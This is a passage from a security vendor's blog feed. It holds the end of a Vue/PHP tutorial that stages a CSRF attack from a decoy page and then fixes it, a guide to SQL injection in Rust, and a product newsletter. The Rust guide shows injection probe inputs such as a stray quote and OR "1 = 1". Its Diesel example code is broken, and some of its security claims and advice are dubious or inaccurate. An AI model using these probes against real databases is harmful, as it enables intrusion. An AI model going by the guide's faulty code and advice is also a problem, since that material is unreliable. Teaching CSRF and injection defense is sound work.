session&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;We won&amp;#39;t add any authentication for this example — the principle is the same with or without it. Since Vue is a&lt;a href=&quot;https://vuejs.org/v2/guide/#What-is-Vue-js&quot;&gt; &lt;u&gt;progressive framework&lt;/u&gt;&lt;/a&gt;, it works well for our example because we can layer it on top of our PHP backend.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s get started by setting up our PHP backend.&lt;/p&gt;&lt;h3&gt;Setting Up PHP&lt;/h3&gt;&lt;p&gt;In the interest of keeping things simple, I&amp;#39;ll assume you already have a&lt;a href=&quot;https://www.php.net/manual/en/install.php&quot;&gt; &lt;u&gt;PHP&lt;/u&gt;&lt;/a&gt; installation with&lt;a href=&quot;https://getcomposer.org/&quot;&gt; &lt;u&gt;Composer&lt;/u&gt;&lt;/a&gt; installed.&lt;/p&gt;&lt;p&gt;Run these commands to set up your directories:&lt;/p&gt;&lt;p&gt;&lt;code&gt;mkdir vue-csrf-example 
cd vue-csrf-example 
mkdir status-app
mkdir bad-actor-app&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Next, create a file named &lt;b&gt;status-app/index.php&lt;/b&gt; and copy and paste the code below into it.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Let&amp;#39;s load up our test app with the built-in PHP server: Open your console and type &lt;b&gt;php -S localhost:8000&lt;/b&gt; from the &lt;b&gt;status-app&lt;/b&gt; folder and navigate to &lt;b&gt;http://localhost:8000/index.php&lt;/b&gt; in your browser. You should see something like the following:&lt;/p&gt;&lt;p&gt;&lt;i&gt;Screenshot of test app landing page.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Type something into the text box and click the &lt;b&gt;Set Status&lt;/b&gt; button. If everything worked, you should now see a text file called &lt;b&gt;status.txt&lt;/b&gt; inside your &lt;b&gt;status-app&lt;/b&gt; project folder. Try loading &lt;b&gt;http://localhost:8000/index.php?mode=GET_STATUS&lt;/b&gt; in your browser and see if the browser shows you your status. If it does, then we&amp;#39;ve confirmed that our app backend is working correctly.&lt;/p&gt;&lt;p&gt;Now let&amp;#39;s add some Vue magic to make our app a little better.&lt;/p&gt;&lt;h3&gt;Setting Up Vue&lt;/h3&gt;&lt;p&gt;Since we&amp;#39;re not interested in a full-fledged app for this example, we&amp;#39;re just going to progressively enhance the page we already created. To start with, let&amp;#39;s modify our HTML so it has all the elements we need. Replace the HTML markup in the &lt;b&gt;index.php&lt;/b&gt; file with the following:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Here are the changes we&amp;#39;ve made:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Wrapped the inner HTML in a DIV with an ID of &lt;b&gt;app&lt;/b&gt;. This allows the Vue app to hook into the view,&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Hijacked the form-submit event so that the submission happens in the background instead of in the foreground,&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Added two &lt;b&gt;fieldsets&lt;/b&gt; to fetch the current status and display the statuses that have been added, and&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Included two script files — one for the main Vue file and one to include our script.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Now let&amp;#39;s create the &lt;b&gt;status-app/script.js&lt;/b&gt; we refer to in the HTML. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The Vue component we created does the following:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Hooks into the element using the &lt;b&gt;#app&lt;/b&gt; ID,&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Loads the current status using the backend,&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Submits the form to set the status in the background without a page reload, anytime it’s submitted, and&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Shows us a list of previously set statuses.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;i&gt;Test app with Vue.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Now that we have a working example, let&amp;#39;s switch to the malicious side of things!&lt;/p&gt;&lt;h2&gt;Exposing the Vulnerability&lt;/h2&gt;&lt;p&gt;As far as example applications go, our app looks fine. But, in our hasty design of the backend, we forgot to protect against CSRF attacks. So let&amp;#39;s create a malicious app that takes advantage of this security hole.&lt;/p&gt;&lt;p&gt;Navigate to the &lt;b&gt;bad-actor-app&lt;/b&gt; directory we created earlier and create an &lt;b&gt;index.html&lt;/b&gt; file with the following HTML markup inside it.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Since this is an HTML file, you don&amp;#39;t need a server to view it. Just double-click the file to open it and you should see something similar to what&amp;#39;s shown below.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Malicious website masquerading as a cat pic website.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Nothing wrong on the surface of it, but if you click the &lt;b&gt;Download Photo&lt;/b&gt; button, you get an ominous warning, and are redirected to the status app with your status changed to &amp;quot;Your site is vulnerable to CSRF.&amp;quot; So what&amp;#39;s going on here?&lt;/p&gt;&lt;h3&gt;Looking Under the Hood&lt;/h3&gt;&lt;p&gt;To get an understanding of what&amp;#39;s going on, let&amp;#39;s break it down:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;The user opens the cat pictures website and clicks the &lt;b&gt;Download Photo&lt;/b&gt; button.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Unknown to the user, there&amp;#39;s a hidden form with a payload that matches what our status app expects.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The malicious website sends the payload to the status app.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The status app is vulnerable to CSRF attacks and so does not verify who the sender is or that the user actually intended to send the payload.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The status app processes the payload and updates the user&amp;#39;s status to what is set in the malicious payload.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;In our example, all of this happens on the surface so that we can see it playing out. But in a real scenario, the user wouldn&amp;#39;t even know that this action happened. So if something like a banking app were vulnerable, all your money might be in the attacker&amp;#39;s account before you knew it. And depending on the protections offered by the bank, it might not make a difference to the attacker whether you’re logged in or out.&lt;/p&gt;&lt;p&gt;Now that we understand what&amp;#39;s going on here, let&amp;#39;s try to find a way to fix it.&lt;/p&gt;&lt;h2&gt;Neutralizing the Vulnerability&lt;/h2&gt;&lt;p&gt;The vulnerability itself doesn&amp;#39;t exist on Vue. It&amp;#39;s actually a fault of the backend, but we need to adjust Vue so that it&amp;#39;s able to work together with the backend to fix it. Most modern frameworks come with CSRF protection and you just need to use it. For example, here&amp;#39;s a write-up about how to enable it on&lt;a href=&quot;https://www.stackhawk.com/blog/laravel-csrf-protection-guide/&quot;&gt; &lt;u&gt;Laravel&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;We&amp;#39;re going to add the&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html&quot;&gt;&lt;u&gt; OWASP recommended&lt;/u&gt;&lt;/a&gt; CSRF&lt;a href=&quot;https://github.com/mebjas/CSRF-Protector-PHP/tree/v1.0.2&quot;&gt; &lt;u&gt;protection library&lt;/u&gt;&lt;/a&gt; for PHP. To add CSRF protection, create a &lt;b&gt;composer.json&lt;/b&gt; file inside the &lt;b&gt;status-app&lt;/b&gt; folder and paste in the following:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Next, run &lt;b&gt;composer install&lt;/b&gt; from within the &lt;b&gt;status-app&lt;/b&gt; directory. As described in the&lt;a href=&quot;https://github.com/mebjas/CSRF-Protector-PHP/wiki/Configurations&quot;&gt; &lt;u&gt;wiki&lt;/u&gt;&lt;/a&gt; of the CSRF protector project,  carry out the following steps to configure the library.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Copy the file &lt;b&gt;status-app/vendor/owasp/csrf-protector-php/libs/config.sample.php&lt;/b&gt; to &lt;b&gt;status-app/config&lt;/b&gt; and rename the file to &lt;b&gt;csrf_config.php&lt;/b&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Copy the file &lt;b&gt;status-app/vendor/owasp/csrf-protector-php/js/csrfprotector.js&lt;/b&gt; to &lt;b&gt;status-app/js&lt;/b&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Open the &lt;b&gt;status-app/config/csrf_config.php &lt;/b&gt;file and set &lt;b&gt;CSRFP_TOKEN&lt;/b&gt; to &lt;b&gt;safeapptoken&lt;/b&gt; and &lt;b&gt;jsUrl&lt;/b&gt; to &lt;b&gt;http://localhost:8000/js/csrfprotector.js&lt;/b&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Open the &lt;b&gt;status-app/js/csrfprotector.js&lt;/b&gt; file and set &lt;b&gt;CSRFP_TOKEN&lt;/b&gt; token to &lt;b&gt;safeapptoken&lt;/b&gt;.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;That completes the configuration; now we just need to update the app to use the library.&lt;/p&gt;&lt;h3&gt;Using the Library&lt;/h3&gt;&lt;p&gt;Open &lt;b&gt;status-app/index.php&lt;/b&gt; and add the following code to it right at the top.&lt;/p&gt;&lt;p&gt;&lt;code&gt;include_once __DIR__ .&amp;#39;/vendor/owasp/csrf-protector-php/libs/csrf/csrfprotector.php&amp;#39;;&lt;/code&gt; &lt;/p&gt;&lt;p&gt;Next, open up your &lt;b&gt;script.js&lt;/b&gt; file and update your &lt;b&gt;setStatus&lt;/b&gt; method so it looks like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;And that&amp;#39;s it! You can try sending updates from the &lt;b&gt;status-app&lt;/b&gt; and everything should work correctly. But if you try to trigger an update from the malicious app stored in &lt;b&gt;bad-actor-app&lt;/b&gt;, it will fail because the CSRF token is missing.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Failed malicious update attempt.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;The CSRFProtector library added a secret code to the cookie, which we use in our Vue &lt;b&gt;status-app.&lt;/b&gt; Since the cookie can only be accessed by a script running on the same site, external sites won&amp;#39;t know the token and will fail the CSRF check. This is just one of the libraries out there to guard against CSRF, and just one of the approaches for using this library. Make sure to familiarize yourself with the tools available to you in your ecosystem.&lt;/p&gt;&lt;h2&gt;The Next Steps&lt;/h2&gt;&lt;p&gt;In this post, we briefly looked at how CSRF vulnerabilities can expose your website&amp;#39;s users to malicious actors. We also created an example of a vulnerable website and implemented a fix for the vulnerability. If you want to read more about CSRF in general, the StackHawk blog has a&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt; &lt;u&gt;great post on it&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Application security is a &lt;b&gt;fluid topic&lt;/b&gt; and requires staying abreast of the latest developments. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Make sure to check out the&lt;a href=&quot;https://www.stackhawk.com/blog&quot;&gt; &lt;u&gt;StackHawk blog&lt;/u&gt;&lt;/a&gt; to read about other vulnerabilities and how you can stay ahead of the bad guys by using tools that do all the hard work for you.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by John Pereira. &lt;/i&gt;&lt;a href=&quot;http://randomcoding.com/&quot;&gt;&lt;u&gt;&lt;i&gt;John&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a technology enthusiast who&amp;#39;s passionate about his work and all forms of technology. With over 15 years in the technology space, his area of expertise lies in API and large scale web application development, and its related constellation of technologies and processes.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Rust SQL Injection Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rust-sql-injection-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Very few languages have sparked confidence and certainty for security-critical applications at the level that Rust-Lang has. (Here&amp;#39;s a &lt;a href=&quot;https://stackoverflow.blog/2020/06/05/why-the-developers-who-use-rust-love-it-so-much/&quot;&gt;&lt;u&gt;Rust &lt;/u&gt;&lt;u&gt;&lt;i&gt;worship wagon&lt;/i&gt;&lt;/u&gt;&lt;/a&gt; for reference.) Even with a peace-of-mind-inducing statement like this, there&amp;#39;s always a key loophole that hackers can take advantage of — you! To be exact, the fact that applications often need to interact with users through input makes them susceptible to Rust SQL injection. &lt;/p&gt;&lt;p&gt;This post explores just how vulnerable Rust applications are to SQL injections. We&amp;#39;ll give a couple of examples, along with &lt;a href=&quot;https://doc.rust-lang.org/rust-by-example/fn/methods.html&quot;&gt;&lt;u&gt;methods&lt;/u&gt;&lt;/a&gt;, &lt;a href=&quot;https://crates.io/&quot;&gt;&lt;u&gt;crates&lt;/u&gt;&lt;/a&gt;, and coding etiquette that seals out Rust SQL injection efforts. &lt;/p&gt;&lt;p&gt;Before we start running cargo commands on crates, let&amp;#39;s take a look at the concept of SQL injection. At least enough to fully grasp the problem and come up with preemptive solutions thereof. &lt;/p&gt;&lt;h2&gt;What Is an SQL Injection?&lt;/h2&gt;&lt;p&gt;Just as you furnish forms fields with required data, hackers can also input structured query language (SQL) commands into applications&amp;#39; databases through the same input controls. This forced access technique is popularly known as &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;&lt;u&gt;SQL injection.&lt;/u&gt;&lt;/a&gt; &lt;/p&gt;&lt;p&gt;The exploit thrives on this premise: &lt;/p&gt;&lt;p&gt;Where you&amp;#39;d respond to a variable character (varchar) field with guided input, a string that the DBMS parses as a command is pushed in. Once executed, the injection prompts a targeted database to comply — which it does because it was originally built to accept SQL commands.&lt;/p&gt;&lt;p&gt;Safe to say, developers whose applications are attacked this way seldom expect vulnerabilities in their apps. This is a predicament that often ends with costly and embarrassing results. &lt;/p&gt;&lt;p&gt;SQL injections are very popular. They account for well over half of all discovered hacks. You&amp;#39;d think every web application implements some sanitization before passing queries to the database. The fact that new attacks come to the surface on the regular suggests otherwise. &lt;/p&gt;&lt;p&gt;When creating apps with Rust-Lang SQL, you can use any of these popular RDBMSs: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Microsoft SQL Server&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;MySQL&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Oracle&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;MariaDB&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Postgres&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;They all bring along that SQL injection problem along, so it makes sense to develop from a knowing angle. Let&amp;#39;s take a look at a few Rust SQL injection scenarios before unloading solutions. &lt;/p&gt;&lt;h2&gt;Rust SQL Injection Examples&lt;/h2&gt;&lt;p&gt;The first thing a hacker does when preparing a full-on SQL injection attack is to get the names of tables behind an application. To create a map of tables and columns, they&amp;#39;ll spend time intentionally promoting your database to produce error messages. These messages often expose enough details about a database for the reader to resolve them. That same knowledge comes in handy when learning the schema bit by bit. &lt;/p&gt;&lt;p&gt;A popular injection that accomplishes this outcome is the out-of-place single quote ( &amp;#39; ).  Instead of a non-spaced string, the attacker inserts this input: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;Name&lt;/b&gt;&lt;/code&gt;&lt;code&gt;: Some &amp;#39;name&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The field will process the name as an expected variable, but the database field won&amp;#39;t accept it. If you&amp;#39;re using bare SQL connections and scripts, this query will look like this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;INSERT INTO [your table name] ([column value]) VALUES (&amp;quot;Some &amp;#39;name&amp;quot;);&lt;/code&gt; &lt;/p&gt;&lt;p&gt;With &lt;i&gt;luck,&lt;/i&gt; the obvious &amp;quot;Users,&amp;quot; &amp;quot;products,&amp;quot; and maybe &amp;quot;customers&amp;quot; tables they can run queries against will have different names in your database. The command above results in an error that, depending on the DBMS, exposes where to fix in detail. &lt;/p&gt;&lt;p&gt;&lt;code&gt;mysql: could not prepare statement ....&lt;/code&gt; &lt;/p&gt;&lt;p&gt;Once a hacker knows which specific DBMS, DB, and tables contain elements of interest, the next step would be to extract or alter them. Unsanitized, your connections to an SQL database take raw input variables and pass them forward. This is done by causing the DBMS to confuse input for commands. &lt;/p&gt;&lt;p&gt;Typically, 1 = 1 always translates to a Boolean truth. So a query that includes: &lt;/p&gt;&lt;p&gt;&lt;code&gt;OR &amp;quot;1 = 1&amp;quot;,&lt;/code&gt;&lt;/p&gt;&lt;p&gt;will execute the upcoming command. This opens your application to a plethora of attacks, including a complete &lt;b&gt;DROP.&lt;/b&gt; &lt;/p&gt;&lt;p&gt;Just these two scenarios are enough to prove the need to sanitize Rust applications from SQL injection attacks. Let&amp;#39;s explore the best ways to achieve this. &lt;/p&gt;&lt;h2&gt;How to Fix Rust SQL Injection Vulnerabilities&lt;/h2&gt;&lt;p&gt;Application security is best practiced when each line of code in its makeup escapes the developer&amp;#39;s mind. You either agree on how every text field entry is processed or serve the required sanitation through crates. The goal is to check database connection queries and any loaded variables for SQL injections at runtime. &lt;/p&gt;&lt;h3&gt;Crates That Protect Against Rust SQL Injection&lt;/h3&gt;&lt;p&gt;The crates route is easier than manually including custom type screening functions for each user interaction. Most crates implement object-relational mapping (ORM) to sheath SQL commands with Rust-Lang. This way, no scripts pass from the front end. Let&amp;#39;s explore this in detail. &lt;/p&gt;&lt;p&gt;&lt;b&gt;1. &lt;/b&gt;&lt;a href=&quot;https://docs.rs/crate/libinjection/latest&quot;&gt;&lt;b&gt;The libinjection crate&lt;/b&gt;&lt;/a&gt;: Use this crate to bind Rust SQL injection snippets to a discovery method. This typically uses a &lt;a href=&quot;https://github.com/client9/libinjection/blob/master/src/fingerprints.txt&quot;&gt;&lt;u&gt;fingerprints.txt&lt;/u&gt;&lt;/a&gt; tile to map input from uses into a vulnerability alert condition—at which point, such input is denied. &lt;/p&gt;&lt;p&gt;&lt;b&gt;2. &lt;/b&gt;&lt;a href=&quot;https://github.com/launchbadge/sqlx&quot;&gt;&lt;b&gt;SQLx&lt;/b&gt;&lt;/a&gt;: This is a crate filled with Rust-coded checks for SQL input. You can use it with MSSQL, MySQL, Postgres, and SQLite. It&amp;#39;s not an ORM, which means you&amp;#39;ll still need to connect and transact with databases through naked SQL queries. &lt;/p&gt;&lt;p&gt;If you&amp;#39;re still able to see the code, this means hackers can keep trying to pass commands in different means than those passing through the crate. This is where an ORM beats the simple crates route to Rust SQL injection attacks. &lt;/p&gt;&lt;p&gt;3. &lt;a href=&quot;https://diesel.rs/&quot;&gt;&lt;b&gt;Diesel&lt;/b&gt;&lt;/a&gt;: This is an ORM that turns bare SQL lines of code into CRUD statements purely comprised of Rust logic. Let&amp;#39;s look at the sample code we used in our example:&lt;/p&gt;&lt;p&gt;&lt;code&gt;INSERT INTO [your table name] ([column value]) VALUES (&amp;quot;Some &amp;#39;name&amp;quot;);&lt;/code&gt; &lt;/p&gt;&lt;p&gt;turns into: &lt;/p&gt;&lt;p&gt;&lt;code&gt;#[derive(Insertable)]
#[table=&amp;quot;table name here&amp;quot;]
struct NewItem&amp;lt;&amp;#39;a&amp;gt; {
    column1: &amp;amp;&amp;#39;a str,
    column2: Option&amp;lt;&amp;amp;&amp;#39;a str&amp;gt;,
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;let new_item = vec![
    NewItem { column1: &amp;quot;value1&amp;quot;, column2: &amp;quot;value2&amp;quot; },
    NewItem { name: &amp;quot;value3&amp;quot;, column2: &amp;quot;value4&amp;quot; },
];&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;insert_into(table)
    .values(&amp;amp;new_item)
    .execute(&amp;amp;connection);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;You should already be noticing how many details of the actual database are hidden. For one, the DB connection string is nowhere to be found. This is because Diesel requires a URL to the database in a separate environment file. If this doesn&amp;#39;t discourage injection reconnaissance, it should at least delay attacks enough for your APMs to pick up unusual error activity. &lt;/p&gt;&lt;h3&gt;Custom Rust SQL Injection Sanitization&lt;/h3&gt;&lt;p&gt;If you were sure that creating your own library or function is the way to go, the thinking process would go something like this: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Accept data from fields on the front end of your Rust application.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Validate all entries through a preset array of allowable characters (a good way of removing special characters).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Make certain that all entry is of policed length.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Convert all entries into string format and assign them to new private custom data types.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Push variables to the database for processing. You can also have a pre-processor in between to filter known commands from being executed by the database.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;This process will take more time to compile. Thus, your applications will be less enjoyable compared with those that go the crates route. &lt;/p&gt;&lt;h2&gt;The Takeaway&lt;/h2&gt;&lt;p&gt;Rust SQL injections pivot on the fact that databases compile queries predictably. This allows vulnerable applications susceptible to a range of operations from updates, copy, and even erase commands. With that said, you&amp;#39;re better off adding crates to sanitize your Rust applications from potential SQL injection attempts. &lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Making sure attackers don&amp;#39;t exploit any vulnerabilities is a &lt;b&gt;continuous process&lt;/b&gt;. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;This is especially true with the CI/CD approach to versioning, which involves multiple developers adding raw code to your project. New code means new possible vulnerabilities. For this reason, an omniscient code scanner and test tool such as &lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; comes in handy, enforcing a security-first programming process. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Taurai Mutimutema. &lt;/i&gt;&lt;a href=&quot;https://twitter.com/rusiqe&quot;&gt;&lt;u&gt;&lt;i&gt;Taurai&lt;/i&gt;&lt;/u&gt;&lt;i&gt; &lt;/i&gt;&lt;/a&gt;&lt;i&gt;is a systems analyst with a knack for writing, which was probably sparked by the need to document technical processes during code and implementation sessions. He enjoys learning new technology and talks about tech even more than he writes.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[July Newsletter: Tech Flag Updates, DataRobot Automates API Security Testing, and More!]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/july-newsletter-tech-flag-updates-datarobot-automates-api-security-testing</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;h2&gt;The Changelog: New Features to Kaakaww About&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Tech Flags Visibility. &lt;/b&gt;Get faster, more accurate scans from the get-go by enabling tech flags when you create an app. New to &lt;a href=&quot;https://docs.stackhawk.com/web-app/tech-flags.html&quot;&gt;tech flags&lt;/a&gt;? Use them to fine-tune the scanner and only run tests relevant to your app.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Jira Data Center Integration. &lt;/b&gt;While we have been integrated with Jira Cloud for a long time, Enterprise Plan organizations can now triage scan findings with Jira Data Center. Connect with an Atlassian Jira Server or Atlassian Data Center to create or link Jira issues from StackHawk findings.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;🧼 &lt;b&gt;SOAP Scanning Improvements.&lt;/b&gt; The StackHawk scanner now includes specific scan policies and attack vector targeting for SOAP APIs, giving you fast scans with better API coverage.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Delete All the Things. &lt;/b&gt;Keep your StackHawk UI clean by deleting outdated or unused applications, environments, and scans.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Your Next Spike:
Automated Application and API Security Testing&lt;/h2&gt;&lt;p&gt;You’re trying to plan your next sprint and you realize Roger is going to Greece for 10 days, Casey is going to Hawaii next week, and Julie is off to visit her in-laws. How are you going to get anything done? &lt;/p&gt;&lt;p&gt;Knock out a medium t-shirt size project and get going with automated application and API security testing during the summer lull. &lt;/p&gt;&lt;p&gt;With StackHawk you can get going with local testing on your own, and then add it into your CI/CD workflows so your whole team can be confident the code they’re shipping is secure. &lt;/p&gt;&lt;p&gt;Get started by signing up for a &lt;a href=&quot;https://auth.stackhawk.com/&quot;&gt;free account&lt;/a&gt;, and get scanning in minutes. Here are some helpful resources to get you going:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/&quot;&gt;StackHawk Docs: Getting Started&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/running-hawkscan.html&quot;&gt;StackHawk Docs: Running Hawkscan&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/&quot;&gt;StackHawk Docs: Continuous Integration&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;DataRobot Automates API Security Testing&lt;/h2&gt;&lt;p&gt;What does it take to build an application and API security program that scales?&lt;/p&gt;&lt;p&gt;You need:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Coverage for Modern Applications&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Optimization for CI/CD&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Developer Centric User Experience&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;See how DataRobot is using StackHawk to check all of these boxes and put automated API security testing into the hands of their developers.&lt;/p&gt;&lt;h1&gt;Other Happenings&lt;/h1&gt;&lt;h3&gt;📺 Hawk Talks&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=T132KQlkFiw&quot;&gt;DevOps.com’s Cloud Native Security Panel&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/6e4_m1Zm6LY&quot;&gt;ZAPCon After Hours: Simon Bennetts AMA&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://youtu.be/LDm0Fst81hU&quot;&gt;ZAP DeepDive: WebSockets&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;[From the Archives] &lt;/b&gt;&lt;a href=&quot;https://youtu.be/GJFccJBDkFg&quot;&gt;&lt;b&gt;Scanning REST APIs with StackHawk&lt;/b&gt;&lt;/a&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;📖 Reading Material&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/security-testing-for-single-page-applications/&quot;&gt;Security Testing Single Page Apps&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/using-jpa-specifications-with-kotlin/&quot;&gt;Using JPA Specifications with Kotlin&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/configuring-cors-in-fastapi/&quot;&gt;Configuring CORS in FastAPI&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;📽 Virtual Events&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;August 3-4: &lt;a href=&quot;https://gitlabcommitvirtual2021.com/&quot;&gt;GitLab Commit&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;August 4: &lt;a href=&quot;https://stackhawk.typeform.com/to/Cr0YkhMR&quot;&gt;ZAPCon After Hours: Automation Framework First Look&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;August 4-5: &lt;a href=&quot;https://www.mediaopsevents.com/cloudnative2021&quot;&gt;Cloud-Native Days&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;August 12: &lt;a href=&quot;https://www.devopsinstitute.com/dso-2021/&quot;&gt;DevSecOps SKILup Day&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;September 1-2: &lt;a href=&quot;https://springone.io/&quot;&gt;SpringOne&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;September 24: &lt;a href=&quot;https://20thanniversary.owasp.org/&quot;&gt;OWASP 20th Anniversary&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;💼 Jobs @ StackHawk&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Developer 